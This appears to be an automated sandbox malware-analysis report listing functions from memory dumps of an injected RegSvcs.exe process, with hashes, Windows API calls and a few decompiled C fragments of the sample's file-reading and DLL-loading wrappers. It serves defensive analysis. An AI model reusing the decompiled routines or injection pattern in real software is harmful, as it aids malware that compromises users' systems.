Opcode ID: fb299100721bef3e7b707d125578b7ad2e8c3ee9fe9340dd13c166cff218e6f4
Instruction ID: a3e5c9ad9ee303a2e2c6676da771494754f2e6f53442d65958db4df863d3cf1c
Opcode Fuzzy Hash: fb299100721bef3e7b707d125578b7ad2e8c3ee9fe9340dd13c166cff218e6f4
Instruction Fuzzy Hash: 10212AB18002099FCB10DFAAD844AEEFBF5FF48314F10882EE519A7240C778A955CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04FA0973, Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04FA0A56

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e2b569a775bb015ff4da27d47f339344032f8c525e4e5bdd82b83fcf79537631
Instruction ID: 8767b4ed5740a6b9df601ec9aaa4b7fa4630b065df9b75c62d40b8c1fa146ac9
Opcode Fuzzy Hash: e2b569a775bb015ff4da27d47f339344032f8c525e4e5bdd82b83fcf79537631
Instruction Fuzzy Hash: 722158B6900209DFDB10CFA9D8447EFFBF6EF48314F14881AE519A7250D774A925CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 054C8770, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,054C96C9,00000800,00000000,00000000), ref: 054C98DA

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4837c4a6ebea83856b3eece2cee49aa47c207335f97f6cd4011bec3eef9acc03
Instruction ID: 784515642be0345ce2e9c9adbc014b31d37c50bd0f05351a75834f6ff0a66b79
Opcode Fuzzy Hash: 4837c4a6ebea83856b3eece2cee49aa47c207335f97f6cd4011bec3eef9acc03
Instruction Fuzzy Hash: B41103B69002099FDB10CFAAC444ADEFBF5EB88310F14846EE419A7200C374A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 054C986A, Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,054C96C9,00000800,00000000,00000000), ref: 054C98DA

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2b5a99387ec2827b7484dcf09d382f28a1c8a01bbf3675e19a663ad6f4ebee95
Instruction ID: 40e815f498924b05ae1613b5f22e2fff5ec03fea7e08654d337215d5f0306e1b
Opcode Fuzzy Hash: 2b5a99387ec2827b7484dcf09d382f28a1c8a01bbf3675e19a663ad6f4ebee95
Instruction Fuzzy Hash: 8D1103B69002099FDB10CF9AD844ADEFBF8AB89314F14846EE419A7600C774A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04FA09E8, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04FA0A56

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d4cb7fb85e01b3544e951f57936684f5da62b83b80d38e83c8fc229579690b64
Instruction ID: 3e7a133877328612cea61e60030c0ce8e47447723dc17acce2f536bbd29520eb
Opcode Fuzzy Hash: d4cb7fb85e01b3544e951f57936684f5da62b83b80d38e83c8fc229579690b64
Instruction Fuzzy Hash: E01156718002089FCB10DFAAD844BEFFBFAAF49324F14881AE519A7200C775A954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 054C870C, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,054C941B), ref: 054C964E

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d835db4322585406776180bd8e646e7059a63e9db395fc18ef86dbe4677bbac7
Instruction ID: 91cbdf520de16d94a53c83c56db8916a31bcd6d0e1979a7b4892b05343923c50
Opcode Fuzzy Hash: d835db4322585406776180bd8e646e7059a63e9db395fc18ef86dbe4677bbac7
Instruction Fuzzy Hash: 2D11F0B5900609DBCB20DF9AC444BDEFBF4AB89324F14846AD869A7240C378A546CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04FA01F8, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04FA0262

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0516c8760f83c6602383651c83be2d83f7d01400b76b35eb0971d9fa859fa12b
Instruction ID: d925c5e878cad862971caa243d714c7ef0b75aa7281d189aa319135e006c95dd
Opcode Fuzzy Hash: 0516c8760f83c6602383651c83be2d83f7d01400b76b35eb0971d9fa859fa12b
Instruction Fuzzy Hash: CD1146B59003098FDB10DFA9D4447EEFBF9AF49228F14881AD119A7640C738A944CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04FA0200, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04FA0262

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 6c0f6d572e65516b2397b032f5dc19a609b21d5130522d78afaabb1f99b3b1d9
Instruction ID: b8cd5cdb78d202b418c2babfbeeb92901d005266c3eb5cc485cb5294c35d45f8
Opcode Fuzzy Hash: 6c0f6d572e65516b2397b032f5dc19a609b21d5130522d78afaabb1f99b3b1d9
Instruction Fuzzy Hash: B71128B19003488FDB10DFAAD4447EFFBF9EB49224F14882AD419A7240CB78A945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04FA4620, Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 04FA4685

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: a7294db44d2685cb162dd21064860f75c0c6c4149e5dd11e5a580d153d0dbef1
Instruction ID: d20234dbe6556b751f17021508ee78b79e074cdcac8b1e56b763067578adb15a
Opcode Fuzzy Hash: a7294db44d2685cb162dd21064860f75c0c6c4149e5dd11e5a580d153d0dbef1
Instruction Fuzzy Hash: E611F2B58003499FDB10DF9AC888BDEFBF8EB48324F148419E418A7600C375A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04FA4628, Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 04FA4685

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: e8b3ddddbef77c1bf39191af51856ea0cbf9324dd7d82c5de2a308b790c6c91b
Instruction ID: 7694682598e1d57f65c18193e01df627210936571a13fc67a16d49797611d26e
Opcode Fuzzy Hash: e8b3ddddbef77c1bf39191af51856ea0cbf9324dd7d82c5de2a308b790c6c91b
Instruction Fuzzy Hash: 1B11D3B58003499FDB10DF9AD884BDEFBF8FB49324F148419E519A7600C375A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02DED4C4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.281289110.0000000002DED000.00000040.00000001.sdmp, Offset: 02DED000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6397328ce888ad60ec030206be8972a9dfb6eedccdeabf656dcbde1b55a85be
Instruction ID: 2d0bde032fc953d7b28f0fbcef58b1c1dfe77c09a769244979eaf493ab54a767
Opcode Fuzzy Hash: a6397328ce888ad60ec030206be8972a9dfb6eedccdeabf656dcbde1b55a85be
Instruction Fuzzy Hash: E1212871504240DFDF15EF10D9C0B26BF6AFB84318F248569D8460B346C736D856CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02DFD01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.281315759.0000000002DFD000.00000040.00000001.sdmp, Offset: 02DFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46c2b4367459ac9a4353e38738be91a701427f9ff50c918495a1d3d578332cf9
Instruction ID: 9d066f8c94c0a47e1418b72dd38fa507dd928114e34c6437ee2a918af67e12c6
Opcode Fuzzy Hash: 46c2b4367459ac9a4353e38738be91a701427f9ff50c918495a1d3d578332cf9
Instruction Fuzzy Hash: 03212575504240DFDB54DF10D8C4B26BBA6FB84318F30C969E9494B746C33ADC47CA62

Uniqueness

Uniqueness Score: -1.00%

Function 02DFD1D4, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.281315759.0000000002DFD000.00000040.00000001.sdmp, Offset: 02DFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 326b416561b21ad498a1690adbc22aac6e18871b664107dee87d70d72020e0b6
Instruction ID: c6ddfaeabffc721eee0e6998da737bed71ea81cff6834be243a687ba599b83f9
Opcode Fuzzy Hash: 326b416561b21ad498a1690adbc22aac6e18871b664107dee87d70d72020e0b6
Instruction Fuzzy Hash: CD214971504200EFDB41CF50D9C4B26BBA6FB84318F24CA6DD9494B346C33ADC06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02DFD005, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.281315759.0000000002DFD000.00000040.00000001.sdmp, Offset: 02DFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7a0568591d8d2c43ccd6107a2962f30c3ee8c3ab1ea398e749ecb85e261214e
Instruction ID: a8234edd8d77d3940a4f7e7f474eed312f081419a19a42951b32eb73bbf52514
Opcode Fuzzy Hash: c7a0568591d8d2c43ccd6107a2962f30c3ee8c3ab1ea398e749ecb85e261214e
Instruction Fuzzy Hash: F72192755093C08FCB12CF20D594B15BF71EB46214F29C5EAD8498F697C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 02DED4BF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.281289110.0000000002DED000.00000040.00000001.sdmp, Offset: 02DED000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ad262f7e262abacbff50db4dee8e87071a2daebf469680c606094787e0e2c0d
Instruction ID: ff300a34641e1d29fdf303f25efc0c8ab5acc39e992aa54aec0c6da085ebfafa
Opcode Fuzzy Hash: 6ad262f7e262abacbff50db4dee8e87071a2daebf469680c606094787e0e2c0d
Instruction Fuzzy Hash: F911AF76404280CFCF12DF10D9C4B16BF72FB85328F2486AAD8450B656C33AD85ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02DFD1CF, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.281315759.0000000002DFD000.00000040.00000001.sdmp, Offset: 02DFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0bec74287bdcffcdfa7599285f44322ef2adb2956973c470928046ed4a726d0
Instruction ID: c6c6331fd2dd4a95a44917d53e75927f7a6825fbdb669fcfac73f25f4d9b1a00
Opcode Fuzzy Hash: e0bec74287bdcffcdfa7599285f44322ef2adb2956973c470928046ed4a726d0
Instruction Fuzzy Hash: 33118B75504280DFCB52CF10D5C4B15BBA2FB84224F28C6AAD9494B756C33AD85ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02DED745, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.281289110.0000000002DED000.00000040.00000001.sdmp, Offset: 02DED000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a04375bdecdc272e38d7f17edef0344ed0d70edd382d3ae88aa68dfe1651701a
Instruction ID: 4b2549872c57d05ca398de05c29312ceb93950f5d6efbd2c8c6e5238eac7a06d
Opcode Fuzzy Hash: a04375bdecdc272e38d7f17edef0344ed0d70edd382d3ae88aa68dfe1651701a
Instruction Fuzzy Hash: B201F7710083449AEB207F61CC85BA6BB9DDF41628F08855AED0B0B342DB79DC44C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 02DED744, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.281289110.0000000002DED000.00000040.00000001.sdmp, Offset: 02DED000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83e31f50acb341d990cf3dcca4ea6c9e2cf045fcfe4c131278c6f3cf67f5b989
Instruction ID: 5759b0bec81017a039c7c60fc2c3e86e50657bf38d647810cc8a595340ba5574
Opcode Fuzzy Hash: 83e31f50acb341d990cf3dcca4ea6c9e2cf045fcfe4c131278c6f3cf67f5b989
Instruction Fuzzy Hash: 9BF06271404644AAEB20AF25DC89BA6FF9CEF41634F18C45AED095B386C7799C44CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04FA28D0, Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

tC{U, xrefs: 04FA3CA0

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID:
String ID: tC{U
API String ID: 0-1611652616
Opcode ID: 451f1355ae186786f90acb7405206c8df334055da0ba793355fd13fe72c9640c
Instruction ID: 31421be97bf23da052ecc9e33c06de813795704027223968d38995741a67b31f
Opcode Fuzzy Hash: 451f1355ae186786f90acb7405206c8df334055da0ba793355fd13fe72c9640c
Instruction Fuzzy Hash: F7612BB1E0466ACBDB28CF66DC40799FAB6BFC9300F05C5EAD40DA7214E7305A969F50

Uniqueness

Uniqueness Score: -1.00%

Function 04FA28CE, Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

tC{U, xrefs: 04FA3CA0

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID:
String ID: tC{U
API String ID: 0-1611652616
Opcode ID: 33871c09b8d4de7ed3556c6465d36ddc1fb43f5916bd5c14b250363eb17b908a
Instruction ID: 13ad76299d72fa68544f678a56fed9bb8a27adfed8fc2e987aca5e9bbbb28adf
Opcode Fuzzy Hash: 33871c09b8d4de7ed3556c6465d36ddc1fb43f5916bd5c14b250363eb17b908a
Instruction Fuzzy Hash: E16127B1E0466ACBDB28CF66DC40799BAB2AFC8300F04C5EA9409A7214E7345A969F50

Uniqueness

Uniqueness Score: -1.00%

Function 04FA2B0F, Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

tC{U, xrefs: 04FA3CA0

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID:
String ID: tC{U
API String ID: 0-1611652616
Opcode ID: 297c7f57a46498a032c96160672f864d68dfc3ca5731dbb8ad57e33884796985
Instruction ID: 5f7db21068140556dd9fb10f59c22fbbfe7bda7d6cdfad7fc2087394606c3735
Opcode Fuzzy Hash: 297c7f57a46498a032c96160672f864d68dfc3ca5731dbb8ad57e33884796985
Instruction Fuzzy Hash: C0515CB1E4426ACFDB24CF25DD40BE9F7B2BB88300F1185E6D40AA7214E7306AD69F50

Uniqueness

Uniqueness Score: -1.00%

Function 04FA2ACF, Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

tC{U, xrefs: 04FA3CA0

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID:
String ID: tC{U
API String ID: 0-1611652616
Opcode ID: f8647ec3117b7ac622b8c052fbae9cc53cc860cb0d270cfd154d4fbffe24d3b4
Instruction ID: af2d64ab6b031bdf6e2a4f5a18ede57b63285296561f9f51c6e827cadf034a9e
Opcode Fuzzy Hash: f8647ec3117b7ac622b8c052fbae9cc53cc860cb0d270cfd154d4fbffe24d3b4
Instruction Fuzzy Hash: D15148B1E0026ACBDB24CF65DC40BD9B7B2BB88300F1185E6D40AA7204E734AAD69F50

Uniqueness

Uniqueness Score: -1.00%

Function 04FA6D08, Relevance: .4, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8ad383b0d008fe07db5071bcd94949c3e9410fff2590ba03377d51efb6d3fc9
Instruction ID: 598380cdf7c8ebcf72b15dd991ce58778eff6a6873bc241f461533bf09f618ff
Opcode Fuzzy Hash: a8ad383b0d008fe07db5071bcd94949c3e9410fff2590ba03377d51efb6d3fc9
Instruction Fuzzy Hash: 8FD1ADB1B006109FEB15EBB6C850BAEB7F6AF89700F14446ED146DB690DF35E902CB51

Uniqueness

Uniqueness Score: -1.00%

Function 054CE5D8, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36769b51d4364687564441dd8fbe59227f5a6a35d2e547134a02c185f9bbce29
Instruction ID: e5d98896e29be762300890fec8ab550f1f53c7a8fb43e9e6deb4b15dd5bf1a45
Opcode Fuzzy Hash: 36769b51d4364687564441dd8fbe59227f5a6a35d2e547134a02c185f9bbce29
Instruction Fuzzy Hash: 741278F14217468BE710CF65E5AA189BFF1B745329F90420AF2621BED1EBB8114EEF44

Uniqueness

Uniqueness Score: -1.00%

Function 04FA0388, Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f91edb1eeddd72cc3cd1389ab838721fef5ce990cbf8562412cca8a6ea1f577b
Instruction ID: 17de0f3802ac905d248388c9049ac2377b692b303e9ed9db0011db89e7c85dca
Opcode Fuzzy Hash: f91edb1eeddd72cc3cd1389ab838721fef5ce990cbf8562412cca8a6ea1f577b
Instruction Fuzzy Hash: BBC109B4E04219CFDB14DFA9D990A9EFBB6FF89304F248569D409A7315DB30A942CF60

Uniqueness

Uniqueness Score: -1.00%

Function 054CBC34, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc4c7cd95d90b7f0b35a02a05c43b069d6a8301932c3f7e51831315b059dd882
Instruction ID: 860dc502370ffdd5b415d981333b11d325460eb0b69981e43e68a61fefa49507
Opcode Fuzzy Hash: cc4c7cd95d90b7f0b35a02a05c43b069d6a8301932c3f7e51831315b059dd882
Instruction Fuzzy Hash: 1BA15F36E006598FCF15DFA5C8445EEBBB6FFC5300B1585AEE806AB260EB31A945CB40

Uniqueness

Uniqueness Score: -1.00%

Function 04FA037A, Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13eaddbb3852cf93c9983cf45c6ed359a57272161448b206b2352f10e46ebf8f
Instruction ID: 1b4176daf343f096c1598de347d695d68ac6151af68d769ce3cc167dc9770a46
Opcode Fuzzy Hash: 13eaddbb3852cf93c9983cf45c6ed359a57272161448b206b2352f10e46ebf8f
Instruction Fuzzy Hash: 66C129B4E042198FDB14DFA9D980A9EFBF6FF89304F248569D409A7355DB30A942CF60

Uniqueness

Uniqueness Score: -1.00%

Function 054CE5CA, Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd84522a533cb5bf13a8f2090092e4af7874d8a358de2c462262609f8009b9bd
Instruction ID: 767aab9ea8100debf04f2b055b3d157f28957cc5ff63f79eec58c156abc2049f
Opcode Fuzzy Hash: dd84522a533cb5bf13a8f2090092e4af7874d8a358de2c462262609f8009b9bd
Instruction Fuzzy Hash: 4CC1ECB14217458BD710DF65E8AA289BFF1BB45329F50421AF1616BAD0FFB4204EEF84

Uniqueness

Uniqueness Score: -1.00%

Function 04FA2510, Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23a82a10c847ef72edb41e0d4e59d74fb8654ca9dd4833e7f89c58517288bcf2
Instruction ID: e71a28bf7cd781194d9545f7d2bce8f9ced9dfd54af24a08c21a94a970824c5f
Opcode Fuzzy Hash: 23a82a10c847ef72edb41e0d4e59d74fb8654ca9dd4833e7f89c58517288bcf2
Instruction Fuzzy Hash: AE7117B6E0520ACFCB04CFA9D5515AEFBF6FF89300F14946AD419B7314E634AA128F94

Uniqueness

Uniqueness Score: -1.00%

Function 04FA2501, Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f43d6de3ce01c67c47e3e460e5a8a68efdf9dd583b9b7473fd57b638e367426
Instruction ID: 0779c3d33c01d59cb793a1014155fdb9fe7d9c0e078832a2d0d58a61f09b2f1d
Opcode Fuzzy Hash: 0f43d6de3ce01c67c47e3e460e5a8a68efdf9dd583b9b7473fd57b638e367426
Instruction Fuzzy Hash: 3B7117B6E0520ACFCB04CFA9D5515AEFBF6FB89300F14946AD419B7314E734AA128F94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exe PID: 4036 Parent PID: 5056 RegSvcs.exeCOMMON

Executed Functions

Function 0041866C, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(R=A,5E972F61,FFFFFFFF,00413A11,?,?,R=A,?,00413A11,FFFFFFFF,5E972F61,00413D52,?,00000000), ref: 004186B5

Strings

R=A, xrefs: 00418692, 004186A0
R=A, xrefs: 004186AD, 004186B4

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: R=A$R=A
API String ID: 2738559852-3742021989
Opcode ID: 26ff7fc7023a6b9f4d55d23120a974044f629a8d8c956d0902a6aaf013c2ff73
Instruction ID: 285f72c6159337c6a2983f7e5657d320cc1fb2ca2b562d6344d6b146210d7c95
Opcode Fuzzy Hash: 26ff7fc7023a6b9f4d55d23120a974044f629a8d8c956d0902a6aaf013c2ff73
Instruction Fuzzy Hash: EDF0E2B2200208ABCB14DF89CC91EEB77ADAF8C314F018649BE1D97341C630E8518BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00418670, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00418670(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E004191C0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x413d52
				_t12 =  &_a8; // 0x413d52
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
				return _t18;
			}

0x00418673
0x0041867f
0x00418687
0x00418692
0x004186ad
0x004186b5
0x004186b9

APIs

NtReadFile.NTDLL(R=A,5E972F61,FFFFFFFF,00413A11,?,?,R=A,?,00413A11,FFFFFFFF,5E972F61,00413D52,?,00000000), ref: 004186B5

Strings

R=A, xrefs: 00418692, 004186A0
R=A, xrefs: 004186AD, 004186B4

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: R=A$R=A
API String ID: 2738559852-3742021989
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: f9e3a3d0e989e08c3f59baf01a417991646d82ee4afc000ab6c713d5a761e92c
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 12F0F4B2200208ABCB04DF89CC80EEB77ADAF8C714F018248BA0D97241C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00409B20, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00409B20(void* __ebx, void* __esi, void* __eflags, void* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* __ebp;
				intOrPtr* _t15;
				void* _t16;
				struct _OBJDIR_INFORMATION _t18;
				struct _OBJDIR_INFORMATION _t19;
				void* _t33;
				void* _t34;
				void* _t35;

				_push(_a8);
				_push(0x104);
				_t15 =  &_v536 + 1;
				 *_t15 =  *_t15 + _t15;
				_push( &_v12);
				_v8 = _t15;
				_t16 = E0041AF50(__esi);
				_t34 = _t33 + 0xc;
				if(_t16 != 0) {
					_t18 = E0041B370(__eflags, _v8);
					_t35 = _t34 + 4;
					__eflags = _t18;
					if(_t18 != 0) {
						E0041B5F0(__ebx,  &_v12, 0);
						_t35 = _t35 + 8;
					}
					_t19 = E00419700(_v8);
					_v16 = _t19;
					__eflags = _t19;
					if(_t19 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t19;
				} else {
					return _t16;
				}
			}

0x00409b2c
0x00409b36
0x00409b37
0x00409b39
0x00409b3b
0x00409b3c
0x00409b3f
0x00409b44
0x00409b49
0x00409b53
0x00409b58
0x00409b5b
0x00409b5d
0x00409b65
0x00409b6a
0x00409b6a
0x00409b71
0x00409b79
0x00409b7c
0x00409b7e
0x00409b92
0x00000000
0x00409b94
0x00409b9a
0x00409b4e
0x00409b4e
0x00409b4e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00409B92

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 2b74e1a6cb83c5850b3107d2340027d2c92311fd596683a21eeb75245e32f392
Instruction ID: d8e0a231a8e6c39173ec9d32efbb90fe8345c0ceb02f2d26cee1560d1a76493b
Opcode Fuzzy Hash: 2b74e1a6cb83c5850b3107d2340027d2c92311fd596683a21eeb75245e32f392
Instruction Fuzzy Hash: 940140B5D0010DBBDB10DAA1DC42FDEB778AB54318F0441A9E908A7281F634EA54C795

Uniqueness

Uniqueness Score: -1.00%

Function 004185C0, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004185C0(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				_t3 = _a4 + 0xc40; // 0xc40
				E004191C0(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x004185cf
0x004185d7
0x0041860d
0x00418611

APIs

NtCreateFile.NTDLL(00000060,00408AF3,?,00413B97,00408AF3,FFFFFFFF,?,?,FFFFFFFF,00408AF3,00413B97,?,00408AF3,00000060,00000000,00000000), ref: 0041860D

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
